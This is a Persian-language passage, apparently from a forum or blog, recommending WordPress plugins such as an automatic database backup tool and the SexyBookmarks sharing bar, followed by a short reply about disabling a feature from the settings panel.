که از اسمش بر میاد برای پشتیبان گیری مستمر بدون دخالت شما از پایگاه داده ی شما است و به این صورت باعث افزایش امنیت اطلاعات و نوشته های شما در وردپرس می شه . SexyBookmarks : این افزونه جالب به شما این امکان رو می ده که در پست ها و برگه های سایت وردپرسی خودتون یک نوار اشتراک گذاری داشته باشید. البته این افزونه بسیار قدرتمند هست و حدود ۱۰۰ سایت رو در لیست خودش داره تا کاربر بتونه با استفاده از اونها پست هاش رو به اشتراک بذاره! اینها 10 پلاگین کاربردی هستن که من بعد از هر بار نصب وردپرس ازشون استفاده میکنم و توضیحات تکمیلی رو میتونید در صفخه اختصاصیشون مشاهده کنید حتما میگین پلاگینهای دیگه ایی هم هستن که کاربردیتر هستن ولی اینها امتحان خودشون رو به خوبی پس دادن %100
  50. 1 امتیاز
    بله همینطوره از داخل پنل هم امکانش هست اگر از پنل تنظیمات امکان غیر فعال سازی نبود باید با این کدها انجامش بدین :
×
×
  • اضافه کردن...